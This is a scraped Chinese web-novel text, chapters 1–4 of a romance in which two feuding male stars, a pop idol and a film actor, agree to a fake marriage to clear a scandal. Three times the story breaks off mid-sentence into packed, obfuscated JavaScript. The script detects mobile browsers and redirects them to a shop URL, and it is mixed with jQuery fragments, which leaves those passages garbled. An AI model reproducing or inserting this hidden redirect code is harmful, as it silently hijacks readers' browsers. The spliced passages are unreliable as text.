《死对头说他不想离婚》 1. 关你屁事 “结婚?!” 走在前面的金发青年脚步骤然一顿,左耳挂着的两只银色耳坠随着转头的动作在空中划出一道凌厉的线条。 青年满脸的不可置信,倒退两步站定,指着自己的脸气势汹汹道:“我!顾听舟!娱乐圈当红顶流!你让我去结婚??” 他毫不犹豫地抬脚往外走,却被紧跟着他的经纪人一把抱住了胳膊。 “祖宗,我求求你了,你先听我说完行不行。”经纪人语气卑微,他家这位顶流艺人,脸是万里挑一的漂亮,脾气也是万里挑一的难搞,为了安抚住这尊大佛即将爆炸的情绪,经纪人倒豆子似的飞快哄道。 “这件事真的没法随便处理,你也知道这段时间情况特殊,对明星艺人的作风问题尤其抓得严。放在平时还好,但现在这个事不是我们发个澄清通稿就能解释清楚的!” 顾听舟脸色难看得可怕,经纪人小心翼翼地观察着他的表情,一边马不停蹄道:“而且这个时间抓得太寸了!我们已经浪费一晚了,最多最多必须今天解决,这种性质的黑料,澄清效力本来就弱,我们又拿不出有力的关键证据证明你的清白,没等澄清你就先被打成污点艺人雪藏了。” “除非找个爆点更高更有料的新瓜压下去……”经纪人越说越气虚,偷偷抬眼看了下自家艺人。 还好,还没炸。 “所以你就让……” 顾听舟已经在濒临爆炸的边缘,但他也知道是自己识人不清,被所谓的“朋友”做局陷害,平白被泼了一身脏水。他咬牙切齿地看了眼四周,这才压着声怒道:“……让我卖身?!!” “祖宗诶,我哪敢啊!”经纪人大惊失色,连忙伸手捂住了他的嘴,又被他黑着脸甩开。 “假结婚!真的是假结婚!我都和对面说好了,咱们就是顺应新法炒波大的,合同我都准备好了!你看!绝对不会让你吃亏的!” 经纪人把自己连夜赶出来的合同递过去,顾听舟瞥了一眼,脸色总算缓和几分,不情不愿地转回去,走向了只剩几步之隔的会议室。 新法……? 顾听舟一大早就被经纪人从家里拖出来,匆匆忙忙赶到公司大楼,一直到他即将和自己的“假结婚对象”见面,经纪人才终于把事情交代清楚。 顾听舟的脑子一时间还有些没转过来,前些日子好像是听说婚姻法有变动,但他没太关注,谁曾想今天就报应到自己头上了。 通道里明亮的灯光从头顶洒下,不偏不倚地照着会议室门旁的盆栽架上,被精心伺候的一盆君子兰绿意盎然,甚至还结了一朵小小的花苞,格外的引人注目。 顾听舟看着那盆君子兰,忍不住思绪飘忽一瞬,想起了某个天天被粉丝夸得天上有地上无的“君子”,表情都忍不住扭曲了一瞬。 晦气。想起谁不好偏偏想起那个狗东西。 纤长白皙的手指落在会议室的门把手上,用力往下按的瞬间,顾听舟脑中一个激灵,伴随着一声清脆的“咔哒”轻响,同时响起的还有一道如雷贯耳的质问。 “……你让我去搞/基?!” 顾听舟几乎在眨眼间想明白了经纪人的应对方案。 前段时间,一位和他关系还不错,甚至最近刚刚结束合作的女明星想和他炒绯闻,被他毫不客气地拒绝后,对方还是偷偷买了不少通稿和水军下场带头磕CP。虽然膈应,但对顾听舟来说也算不上大事,他可是能下场亲手拆自己和知名影帝拉郎配CP的一代顶流,这点程度的绯闻,公关团队轻易就能处理。可谁能想到,炒cp通稿刚刚澄清,一转眼,女明星就被爆出已婚有娃,紧接着,一波不知道打哪来的水军带头,舆论矛头就以一种不可思议的角度直指顾听舟。 当代顶流和女明星假戏真做还隐婚有娃,不管哪个词条单拎出来都是大爆的热度。与此同时,前段时间刚刚压下的炒CP通稿也被再度翻出来,被营销号定性成了两人为官宣做的铺垫。 经纪人紧急联系了女明星,却意外发现那波把隐婚栽赃到顾听舟头上的评论就是女明星团队买的水军!双方当即扯破了脸皮,女明星更是坦言不会配合澄清。 原因很简单,女明星确实已经隐婚生子,如果不借着这次的热度和顾听舟绑定吸血,她这种靠偶像剧小火一把的流量小花很快就会被市场淘汰! 双方不欢而散,但令人没想到的是,女明星找人在双方约见的餐厅外蹲守,一组匆匆离开的照片直接把顾听舟推上了风口浪尖,他也成为了网友们眼里抛妻弃子、不负责任的渣男,不仅被全网抵制,热搜更是直接飘上了榜首。 经纪人打算利用刚通过不久的同性婚姻法,以他“已婚”并且“结婚对象是男人”的理由澄清和女明星的黑料。毕竟现在同性结婚也受婚姻法保护,重婚可是要按刑事案件算的。 但是、但是…… 漂亮到几乎透明的琉璃色眼瞳里此刻的情绪复杂到了极点。顾听舟心底的反感和厌恶不受控制地暴涨。同性婚姻法才实行不久,在大众眼里,同性之间的婚姻仍然是少数。 他没法接受用婚姻这种人生大事来拖另一个素不相识的人和他一起下水,更何况是在这种风口浪尖的时候。 顾听舟抓着门把手的手指攥紧又松开,他顾不上在会议室里等候的“结婚对象”,扭头看向经纪人,声音也冷了下来:“这婚我结不了。” “公司如果实在给不出有效的解决方法,大不了我就退圈。” “别啊祖宗!”经纪人恨不能跪下来求他,一把拉住他小声着急道,“我们现在还在代言期的项目合同还有十几个,七七八八的违约金加起来起步就是九位数……这还没算等你退圈后公司后续要清算的损失……” “而且、而且你就算退圈也不能背着这个黑锅走啊是不是!” 九位数的赔偿对顾听舟来说不算什么,大不了回家和祝女士认个错撒个娇,他妈总不可能不管他这个亲生儿子。 但这个黑锅……35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16842504|191342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 余光再一次瞥见角落里的君子兰,顾听舟没忍住飞了个眼刀子过去,真是,一遇到和那人有关的东西就倒霉。凭什么那货能与世无争地当着他的影帝,他一个红透半边天的顶流要在这里被一个莫名其妙的黑锅逼到退圈! 顾听舟咬了咬后槽牙,要是真有能两全其美的办法,谁会甘心就这么半途而废? 顾听舟没回头,迈出去的腿正要继续向前,却不料身后的会议室突兀的传来一道极为冷淡的声音,夹杂着几分令人熟悉的阴阳怪气,光是听着就让人来气。 “慢走不送。” 一时间,顾听舟甚至觉得自己是幻听,他猛地回过头,和某个坐在会议桌前的男人对上了视线。 只一眼,两人都极其默契的在下一秒嫌弃地错开了视线。顾听舟眼里的情绪变幻莫测,最后拧着快要打结的眉毛重新看向了抱着他胳膊不放的经纪人:“我们是不是走错地方了?” 坐在会议室内的男人意料之中地挑了挑眉,看了眼那头嚣张又吸睛的金发,当即起身准备离开。 他身边的肌肉男连忙伸手拦他:“你去哪?” 男人言简意赅:“回家。” 肌肉男头疼:“那夏导的剧本怎么办?” “本来也没必要。” 两人的对话十分简短,但顾听舟却捉住了其中的关键,眼神一转,神色忽然就放松了下来。既然是这个人,那这趟见面必不可能就这么简简单单结束。 “舟舟,这位就是那个影帝……易淮江。”也是被你当初亲手拆拉郎配CP的另一位主人公……经纪人小心翼翼地低声给他介绍,生怕自家祖宗再把影帝得罪一遍。 “我知道。”顾听舟微微颔首,语气散漫,只当看不见某道越走越近的熟悉身影。 易淮江没搭理身后还想说些什么的经纪人,径直走到了门口。 会议室只打开了半扇门,通路暂时被门口两人彻底堵死。 两人的视线都不约而同地从对方身上略过,默契到极点的相互漠视。然而路只有一条,顾听舟和他的经纪人不挪位置,他也过不去。 易淮江看了眼紧贴着墙站着的另一个人,意味相当明显。经纪人的手臂被顾听舟反手抓住,有点怂地看了眼易淮江,又抬眼看了看自家不动如山的艺人,刚迈开步子,却不料顾听舟先一步抱臂横插了过来,不偏不倚地用肩膀堵住了易淮江面前的路。 经纪人只觉得自己的心脏都快从嗓子眼里蹦出来了,这可是影帝啊!顾听舟虽然是顶流,但人家可是实打实在电影圈有多部作品傍身的实力派影帝,真不是他们能招惹的起的! 他没忍住拽了拽自家艺人的袖子,刚想哄哄这位祖宗高抬贵足给另一尊大佛让个道,却没想到那位向来高冷的影帝率先开了口。 “喜欢当门神?” 顾听舟一肚子的气正愁没处撒,闻言冷嗤一声,下巴微扬,左耳上两只耳坠在晃动中闪烁着盛气凌人的光芒:“关你屁事。” 2. 我是他爹 一时间,两人间的气氛剑拔弩张,会议室内外鸦雀无声。 顾听舟一改转身前的急躁和避之不及,慢条斯理地整理着袖口,顺便欣赏了下易淮江吃瘪的表情。 直到经纪人在身后跟踩电门似的拽着他衣摆抖个不停,他才终于把目光收回,侧首问道:“威廉,会议室定了多久?” 威廉拿不准这位祖宗的意思,实话实说:“两个小时。” 顾听舟点点头,目光越过身前人的肩膀直接看向里面的另一位经纪人:“你们的合同带了?” 易淮江的经纪人显然被他这副目中无人的嚣张模样震慑住了,一时间猜不透这位顶流想干什么,只好也如实点头:“带了。” 顾听舟微微颔首,手往身旁一摊,威廉愣了半秒,立刻会意地把合同递到他手里。顾听舟却一眼都没看,随意把合同卷成一卷纸筒,怼在了易淮江的肩膀。 他微微一笑,火药味十足地挑衅:“临阵脱逃,不像你的作风啊,影帝?” 易淮江侧身抬手,拍开了肩膀上的纸筒,皱眉嫌弃:“你真的很闲。” “是啊。”反正他现在什么也做不了,易淮江自己撞枪口上了,他顺手找个茬怎么了? 顾听舟强行给自己腾出了条路,然后纡尊降贵地走进了会议室,在最前方的位置从容落座。 他双腿交叠后仰,背靠着椅背,气定神闲地打量一圈站着的其余三人,一脸无辜地摊了摊手。 “不是要谈合同?讲吧。” 威廉看看他,又看看被怼得侧身站在门口、脸色变幻莫测但显然不太好看的易影帝,蹑手蹑脚地带上了会议室的大门,顺便上了锁,见易淮江被他的经纪人拉回去,这才一溜烟小跑到了顾听舟身边, 会议室的长桌前,两位艺人一头一尾,各自坐在位置上不发一言,明明隔着大半个会议室,彼此间的硝烟却浓得惊心动魄。两位经纪人你看看我、我看看你,最后心酸地握了握手。 “白哥,多担待哈哈多担待。” 两位经纪人尽职尽责地把合同里的条款过了一遍,确认没有漏洞后,把视线投向了两位艺人。 易淮江面前的合同连翻都没翻开,接收到经纪人询问的目光,依旧油盐不进:“我不会签。” “淮江,我真的觉得你可以再考虑考虑。” “没必要。”易淮江皱眉,拒绝的话不假思索,可还没说完,对面突兀响起了另一道声音打断了他的话。 “听说夏导在筹备新电影?也不知道这次会是个什么样的剧本,不过一直听说夏导出品的电影部部拿奖。”顾听舟手里的签字笔转出了花,尽管不清楚易淮江出现在这和夏导有什么关系,但并不妨碍他开口挑衅。 他边说边把目光投向了易淮江:“作为夏导的御用男主,易影帝没有什么想说的?” 原因是什么和他有什么关系?反正能让这人吃瘪就对了。 “一部电影而已,演不演无所谓,倒是某位顶流……”易淮江却仿佛并不在意剧本的事,指尖点了点面前的合同,“一夜沦为全网黑,刺激不轻吧?” 顾听舟对这种程度的嘲讽嗤之以鼻:“一般,骂的还没你毒。”他啧声感慨,“这届黑子还是太菜。” 眼看两人你一句我一句,原本就岌岌可危的“和谐”场面愈发失控,威廉赶忙抬手挡在了两人中间:“停!” 威廉看看右手边自家翘着二郎腿的祖宗,再看看左手边业内闻名的高冷影帝,两人各自别着脑袋,都没再看对方。 回想起一年前顾听舟当初横空出世却惨遭本人强拆的拉郎CP,威廉没忍住咽了下口水,小心翼翼地试探这道:“两位……认识?” 话音未落,就听到一声讽刺意味拉满的笑,顾听舟用笔尾敲了敲桌面,脸上挂着一抹礼貌又不失嘲讽的笑:“威廉,说话要注意用词。” 他用笔尖指向自己,一边说,手中的笔也跟着转了个圈,遥遥一指对面的易淮江。 “我,是他爹。” 威廉腿一软,还没来得及思考,就又听左手边紧跟着冷笑一声:“真巧,我也是。” 所以你们到底是什么关系啊?! 威廉心里疯狂崩溃,明面上却只能保持着尴尬的笑容转了一圈,最后在同为经纪人的白哥眼里看到了同命相连的深深无奈。 他尴尬地哈哈笑了两声,强行圆场:“那看来两位的关系确实不错。” 这怎么不算另一种意义上的关系好呢? 威廉欲哭无泪,白哥作为在场的另一位经纪人,也终于找到机会开口:“你们互相认识的话,那事情就简单多了。” “我和威廉昨晚通过电话。这份合同不管是对我们,还是对你们,都是有利无害。结婚只是个对外宣布的假消息,大家各取所需,在我们看来,不管怎么说,这都是一笔互利共赢的合作。” “白哥……对吧?”顾听舟看向白朝彩,见他点头,于是继续说道,“反正我无所谓,娱乐圈混不下去了我就回去继承家业。我家里本来也不支持我当明星。” 顾听舟一脸的高深莫测,笔尾不轻不重地叩在了会议桌上:“但某些人可就不一定了。” 威廉会找到易淮江,看上的是他同性的性别,还有除了他以外,圈内最高最易爆的话题度和流量。 可易淮江的经纪人怎么会找他?一个全网皆知和易淮江有过节的男艺人,除非是没有其他选择,不然怎么会找到他头上来? 易淮江接连被他挑衅,记忆里那股熟悉的怒气也跟着苏醒。 顾听舟的存在感实在强烈,在针对他、给他添堵这件事上不仅天赋异禀,还十分地乐此不彼。 可眼下的情形,到底是谁更着急? 易淮江撩起眼皮看向经纪人:“夏导那边的剧本还有得磨,就算是假结婚,还是要好好挑一挑。” 白朝彩却没应声。 新电影早已筹备完毕,男主角也定了易淮江。唯一的困难在于夏导对易淮江有特殊要求。 爱情戏一直是易淮江的弱项,而这部电影想要冲奖,感情戏却是重中之重。因此夏导坦言,等易淮江谈了恋爱,再来找他进组。 夏导的要求情有可原,可放在易淮江身上,要合情合理的解释这个既没有官宣,也没有被任何狗仔爆过料的突然出现的“恋爱对象”,本身就是一件极其困难的事情。 而逐一筛选过后,顾听舟无疑是最符合这个条件的人选。 也是唯一一个。 经纪人的沉默在无言中表明了他的立场。 易淮江一时间竟然不知道究竟是自己竟然要为了一部电影和别人假结婚更离谱,还是经纪人给他挑的结婚对象是自己多年的死对头更荒谬。 “我不可能和他假结婚。”他揉了揉跳个不停的眉心,试图说服经纪人,“我爸妈和他爸妈认识,如果要按照流程公开,首先结婚证就没法造假。” 顾听舟眼皮一跳,当即看向自家经纪人,还没来得及开口,果然就听威廉脱口而出:“这不是怕你们不愿意吗,要是能领真的当然更……好……” 威廉在顾听舟威胁意味满满的逼视下怂怂的收了声,但话已出口,在场四人都明白,比起一纸轻飘飘的协议,不管是哪方需要借用这场婚姻做挡箭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16842505|191342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 牌,都不如一本货真价实的结婚证来得有力。 白朝彩思考了下:“合同可以改,你们的情况直接领证确实更合适。” 威廉当即接着补充:“对,条款最后我留了空,刚好顺便把婚前财产也分清楚。” 白朝彩闻言点头,两人开始翻合同准备补充条款。 “''Scuse,我什么时候答应和这个人假结婚了?”顾听舟差点以为自己错过了什么关键性的会谈,“不对,我什么时候答应要假结婚了?” 顾听舟瞥了眼坐在对面的易淮江,指尖转了半晌的笔被他反手握住,敲了敲桌面,试图引起两位经纪人的注意。 威廉在百忙中抽空看他:“不是你让我们讲合同?而且你俩都聊到领证了……” 他让这俩人讲合同纯粹是为了折磨易淮江啊!怎么就变成他默认假结婚这件事了??而且他们什么时候聊到领……噢是易淮江那个煞笔。 顾听舟欲骂又止,把手里的笔往桌上一摔,恶狠狠瞪了眼对面的人。虽然没开口,意思却很明显,你自己造的孽,自己解决。 易淮江看着他显然已经怒火中烧的模样,心里那口气竟然奇迹般顺了不少。 白朝彩恰好拿着改好的合同过来:“你要不再看看。”他悄悄看了眼会议室另一侧的顾听舟二人,随即压低了声音,“淮江,我知道你不愿意,但明年的金木奖是你最后一次机会了。” 易淮江的视线落在面前的白纸上,陷入了沉默。白朝彩拍了拍他的肩膀,没再多言。 良久,易淮江缓缓吐出一口气,在合同上签上了自己的名字。他的对赌协议只剩下最后一年,夏导的片子是他目前最稳妥、也最有可能拿奖的选择。 “易淮江你脑子没事吧?” 笔尖在纸面上顿住。易淮江收敛起眼里的情绪。他猜顾听舟不会同意,所以哪怕他妥协了,这份合同依旧是一张废纸。 顾听舟拍桌而起。这人的脑子是被狗啃完了?这他妈是结婚协议!答应了就表示要真的要去民政局领证的! 他就这么点头了???还签了字!! 会议室就算隔音再好,也禁不住这个响彻云霄的高八度再来第二遍,威廉连忙拽住了他的胳膊。 “听舟!”威廉挡在他面前,语气恳切,“我们真的没时间了!” “你就算现在退圈,可现在谁不上网,你不澄清,这黑锅你就得背一辈子!就你这脾气你受得了别人天天指着你说你抛妻弃子绝世渣男?” “再不行你想想你的粉丝?你要是就这么走了,你让那群小姑娘怎么办?从昨晚到现在,除了公关部,一直是她们在为你冲锋陷阵。”威廉苦口婆心,“虽然说你和易影帝之前关系不太好……” 顾听舟眯了眯眼,威廉立刻改口:“你俩关系非常不好!但是你想想,你俩是死对头又怎么了,这份合同的受益人是你,这不就等于是他被你利用了吗?你就当他是个澄清用的工具,等合同到期之后,你俩不还是能离么,实在不行,大不了咱们用完就跑,让他主动提离婚,这样也不算我们违约对不对?” 威廉恨不得拿个耳机把自己的话在顾听舟耳边循环播放一百遍。 顾听舟也逐渐冷静下来,睨着易淮江那张一看就让他忍不住反感的脸。 拖别人下水这种事,一旦换成易淮江,那股负罪感似乎都没了。 咬了咬牙,顾听舟心想,不就是演戏? “可以。” 顾听舟伸手捡起被自己丢在桌角的笔,“唰唰”两下在合同上签下自己的名字,接着把合同往易淮江面前一甩,“不就是结婚?” 3. 热搜预定 窗外车水马龙,是个难得的艳阳天。顾听舟默默把车窗降下,看着外面来往匆匆的车流。 初春的风里裹挟着还未散尽的寒意,吹得人大脑都清醒起来。顾听舟坐在保姆车的最后排,忍不住掐了掐自己的眉心。 现在砸窗跳车还来得及吗…… 想了想觉得不太对,顾听舟侧过脸,余光瞥向另一侧座位上的人。 ……要不还是直接把易淮江扔下去算了。 到了民政局,两人都被经纪人拉去换了衣服。 在红色幕布前坐下,两人穿着临时准备的,款式简单的白色衬衫,没有精致的妆容,也没有精心打理的服装和发型,全靠两张好看到几乎没有瑕疵的脸撑起一片天。 衬衫的料子有些硬,立起来的领子磨得皮肤又疼又痒,顾听舟不太舒服的扯了几下,最后干脆把扣子解了一颗。 敞开的领口露出细白修长的脖颈,再往下是若隐若现的一截锁骨,流畅漂亮的线条和羊脂玉一般的白皙,让人忍不住晃神。 易淮江在他左手边坐下,无意中视线滑过又立刻挪开,眉宇却忍不住皱起。 这人一天不骚包会死? …… 威廉既满意又心惊胆战地在门外旁观,忍不住想起了两人当年夭折在半道上的拉郎CP。 现在看来,那群CP粉确实是很有先见之明,这样的两个人,这样的两张脸,哪怕只是同时出现在一个屏幕里,那都是一场豪华的视觉盛宴! 他都不敢想,以这两位的人气,等到正式官宣,网上会掀起一阵多么猛烈的腥风血雨。再加上两人从前在大众眼里的死对头身份,还怕没媒体给顾听舟做澄清采访? 威廉越想越觉得自己昨晚接了白朝彩的电话是一个无比正确的决定。见两人忙着拍照,便走得远了些抽空给公司发了消息。 顾听舟这边的准备工作即将结束,那么公关部门也该提前做好应对方案,严阵以待接下来的翻身仗了。 然而此时此刻,即将掀起腥风血雨的正主本人却根本没心情思考这些事。 坐在对面的摄影师盯着机器,一边调整一边抬手指挥他俩:“再近点,再坐近一点。诶好,两个人最好是手臂贴着手臂啊,恩爱一点嘛。” 于是两人之间勉强维持在社交距离的空间被急剧压缩,直到肩膀贴上肩膀,胳膊也被挤到一起,两人的脸都下意识一黑。 摄影师调好了设备,看了看镜头,没忍住又把脑袋探了出去。这俩人的脸和气质倒是万里挑一的出众,结果表情却臭得像是来领离婚证的。 他好心提醒:“两位帅哥都笑一下,放松一点,表情别这么僵硬嘛,这张照片要用一辈子的哦。” “……草。” 顾听舟憋了半天,终于没忍住。 其实他没反手一巴掌呼易淮江脸上已经算是努力在维护公序良俗的优秀成果了。 “我还以为你哑巴了。”易淮江看着正前方的摄像机,淡声道,“终于装不下去了?” 顾听舟嗤了声:“那确实是没你能装。” 易淮江还要开口,摄影师却再次开口:“两位有悄悄话可以等会慢慢说,咱们先专心把照片拍好,后面还有其他新人在排队呢。” 一场没来得及吵起来的架被摄影师这句“悄悄话”直接扑灭了火苗。两人纷纷闭了嘴,把注意力转回到了面前的摄像机上,力求早点拍完早点离开。 在摄影师的不断调整和引导下,为了和对方较劲,两个人都发挥出了自己毕生的演技,笑得自然又和谐。 “诶,很好很好,保持住啊。”摄影师满意极了,紧盯着相机,抓准时机按下快门。 接下来的流程就简单多了,没过多久,两人就从工作人员手上接过了两册红艳艳的小本子。 明明是一本还没巴掌大的小本子,拿在手里却下意识给人一种沉甸甸的错觉,仿佛真的从这本结婚证上接过了什么重要的责任似的。 顾听舟有些恍惚,随手打开结婚证,又在看见上面的照片和姓名时骤然清醒。他抬手想咳一声装作无事发生,却先一步摸到了脸上带着的口罩。 幸好幸好,没被这货发现。 顾听舟虚惊一场,把结婚证往口袋里一揣,随即三步并作两步地快步走出了民政局大厅。 大厅里的都是来领证的新人,每一对都喜气洋洋的,那气氛对于他这种“假货”而言,实在是太过格格不入。 “怎么样怎么样?” 一出门,威廉立马凑了上来。 民政局里都是两两一对的情侣,他们俩经纪人跟在身边,实在是太引人注目,所以早早就等在了门外。 顾听舟从口袋里掏出结婚证,崭新的红色小本此刻拿在手里更像是烫手的山芋,他干脆把证丢到了威廉怀里:“你在质疑我的脸,还是质疑你自己的眼光?” 威廉手忙脚乱地接住结婚证,小心拍了拍上面根本不存在的灰。 “你360度无死角,我当然不是问这个啊。”威廉边走边翻开手里的证件,满意点头,“不错不错,非常完美。” 结婚证的红底证件照盖着一角钢印,照片上的两人身穿着宛若情侣装的同款白衬衫,让两张未加修饰的帅脸多了几分清新的朝气。两人肩挨着肩,脸上都带着浅浅笑意,动作亲昵自然,看起来简直比真情侣还要真情侣。 有了这本证,不消半天,网上的黑料就能一次性全部洗清!天知道他为了按住这位祖宗,不让他登微博空口自证花了多少力气! 威廉默默在心里为自己掬了一把辛酸泪。这种狗血泼天的感情黑料,越骂只会越适得其反,只有拿出实证,且澄清的力度远高于黑料,才能做到一击必中。否则这些莫须有的罪名就会一直跟着顾听舟,不管是对他,还是对公司,都是十分重大的损伤。 “等等等等,先不急上车。”看顾听舟抬脚就要往保姆车上走,威廉连忙拉住他。 “有屁快放。”不到半天的时间,自己就直接从单身一跃成了已婚人士,对这位一手促成这段假姻缘的“月老”,顾听舟实在是没什么好气。 威廉摸了摸鼻尖,知道他心理那关还没过去,但眼下正事要紧,他只能硬着头皮把结婚证塞回到顾听舟手里:“你和易老师先把官宣微博发了,我和白哥去联系公关团队。” 说完,他就拽着刚刚才跟上来的白朝彩飞快离开:“你们抓紧拍,拍完咱们就走。” 这速度,不去参加奥运为国争光真是太可惜了,不知道的还以为他顾听舟生气会吃人呢。余光瞥见身侧站着的人,顾听舟愈发头疼地捏了捏自己的鼻梁骨。 这都什么事儿啊! 他居然和易淮江成了一条船上的蚂蚱,两个人明仇十几年,结果最后成了法律盖章认证的夫夫? 他就不能是在做梦么?顾听舟长叹一口气,如果真的是做噩梦,到这也差不多该吓醒了吧。 顾听舟捏着结婚证,认清现实后做了个长 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16842506|191342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 长的深呼吸,给自己做好了心理建设,这才扭头看向易淮江,把脚边石头往他那边踢,:“喂。” 易淮江垂眸看他紧拧着的眉毛:“干什么?” “聋了就去把耳朵捐给有需要的人。”顾听舟没好气,“先把照片拍了。” * 微博上,发酵了一夜的热搜依旧挂在前排。昨晚没来得及看的网友一打开手机就收到了有关顾听舟的热点推荐。原以为是这位顶流又接了什么新剧,没成想却是一口大瓜。 而且还是顶流男星和前绯闻女友隐婚生子这种大瓜。 昨夜热度本就居高不下的词条,这下直接再度被推到热搜第一,尾巴还挂上了个红到发黑的“爆”字。 一时间,热搜广场上挤满了闻讯前来吃瓜的路人,顺着微博自动整理的时间线吃完一串真假难辨的爆料,大批网友自动涌入了顾听舟的微博。 顾听舟微博里的最新动态还是三天前随手发的一条日常。原先的评论区全是粉丝们同样在分享日常的友好互动,仅仅过了一夜,评论区已经被彻底攻占。 作为顾听舟的粉丝,粉丝数在明星中算得上数一数二的纸船姐姐们,在这样声势浩大的围攻和质问中,她们自发的维护却也显得势单力薄。 直到上午十点。 众人在顾听舟的微博下骂都骂累了,刚准备退出,没想到页面忽然一顿,顶上的圆圈转了半圈,一条新微博被刷了出来。 [@顾听舟Z:说了没拉黑,爱信不信@易淮江/图片.jpg] 光看文案可能还没什么问题,但让众人震惊的是,那个被@的对象居然是易淮江。当年的“江舟”CP一夜爆红又被正主亲手打假,但凡了解过一点娱乐圈的爱恨情仇,谁不知道这俩人互看不顺眼? 结果这条微博不仅一反常理的@了易淮江,配图甚至还是两本结婚证! 镜头中两只骨节分明的手各拿着一本结婚证,两个红本交叠,两只明显不是同一人的手更是贴得极近。 原本等着看顾听舟打算怎么狡辩的一众人登时傻了眼,不可置信地把这条微博反复看了又看,最后却也只能满头问号的在评论区里留下一串问号。 有些人不信邪,顺着顾听舟@的账号跳转到了易淮江的微博,见他没动静,正想在评论区催易淮江出来打假,却没想到页面顶端的圆圈再次跳了出来,和顾听舟刚刚官宣时的场面一模一样,下一秒,易淮江也刷出了一条新微博。 [@易淮江:我绝对进去过//@顾听舟Z:说了没拉黑……] 和顾听舟不一样的是,易淮江的配图是一张微信聊天记录,截图内容是他发起了一条666金额的转账,却被自动打上了一个瞩目的红色感叹号并显示被对方拒收。直到当天晚上八点,对面才顶着个Q版八宝粥头像回了个句号。易淮江重新发了转账,对方收了钱后同样回了个666的转账。 而看聊天记录显示的时间,正好是去年过年的时候。 盖了章的结婚证,加上远在过年时疑似新年红包的聊天记录,再加上两人谜一般旁若无人的对话文案。 网友们一时甚至分不清这俩人到底是官宣还是开玩笑,两人的微博底下全是“……”和“???”,短短几分钟的时间,评论区已经叠出了万层高楼。 不知道众人懵逼了多久,才终于有人艰难地捡回了自己的理智,弱弱评论了一句。 —完了熬夜熬傻了,我磕的北极圈BEcp复活了?? 4. 家庭会议 不到十分钟,微博本就摇摇欲坠的服务器彻底崩盘。 网友们心急如焚地被不断闪退的微博卡出软件,又按捺不住地涌进其他社交平台搜索相关消息。于是在程序员们的紧急抢修下,半小时之后,千疮百孔的微博终于重新恢复运行,随之而来的,则是热搜上顾听舟近乎屠榜的词条。 当红艺人公开恋情,而且是直接一步到位公开结婚,放在谁的身上,那都是一场毫无疑问的脱粉大赏和黑子狂欢,尤其是像顾听舟这种类型的年轻漂亮的男明星。 但得益于顾听舟众所周知“不好惹”的脾气和惊为天人的美貌,他的粉丝组成反而只有少数女友粉,更多都是只看脸的妈粉和姐粉。这也是威廉敢提出让他“假结婚”的原因。顾听舟本就不靠卖“男友”人设吸粉,比起损失一部分女友粉,洗清他身上“人品恶劣”的假料才是重中之重。 在威廉和公关部的联手运作下,混杂在路人里的水军和大小营销号在不知不觉中把讨论焦点从“顾听舟和易淮江竟然结婚了”转移到了“顾听舟和同性恋人感情稳定且已婚”上,于是众网友们也如他所想的那样,顺着这个思路提出了问题:既然顾听舟喜欢男人,并且和易淮江领了证,那常嘉月所谓的“隐婚生子”又是怎么来的? 网友们隐约察觉到不对劲,毕竟如果不是被逼无奈,谁会在这个风口浪尖选择官宣结婚? 况且光看这两人之前的态度,他们甚至以为是有什么不共戴天的深仇大恨,才会连网友随手拉郎配出来的CP都要亲自下场拆掉,瞒得这么死,结果现在又高调官宣,可不就是为了洗清和常嘉月有关的谣言? 可这个谣言,并不是他们无中生有,而是常嘉月和她的团队在各种渠道吞吞吐吐的暗示和隐晦指向,才会造成这个一脚踢在了钢板上的局面。 网友们眼中的受害者眨眼间摇身一变成了污蔑别人清白甚至差点把别人逼退圈的施暴者,舆论风向也在不知不觉中转移了阵地。 微博上一时炸开了锅,网友们纷纷调转枪口冲去了常嘉月的评论区底下。 威廉捧着手机,一边指挥着公关部调整待会要用的工作室通稿,力求打磨出一份最无辜自然的凄苦小白花风澄清稿,一边紧盯着热搜广场,随时调整混在其中的水军,忙得恨不得再长出两只手来帮忙打字。 顾听舟随手从后备箱掏了顶帽子。抬手往下压了压帽檐,他本就戴着口罩,这下几乎遮去了大半张脸,接着便侧过头面向车窗闭上了眼睛。 他总觉得自己好像忘了点什么。 鸭舌帽挡住了整张脸,顾听舟微微皱眉,侧头靠在车座上时,耳垂上的两枚耳坠抵在侧颊,有些硌也有些凉。 顾听舟忍不住歪了歪脑袋,当即坐起了身,可还没来得及开口,就听见两道手机提示音忽然叮叮咚咚地响了起来。坐在前排的威廉头也没回地“嘶”了声:“舟舟,你微信声怎么这么怪?听着跟回音了一样。” 顾听舟额角抽了抽,手里已经亮起屏的手机界面上,白色的聊天框还在源源不断地往上冒。而在他的右手边,另一部亮着光的手机也正以相同的速度飞快更新着消息。 顾听舟人都木了,瞥了眼没吭声的易淮江:“易影帝,不说点什么?” 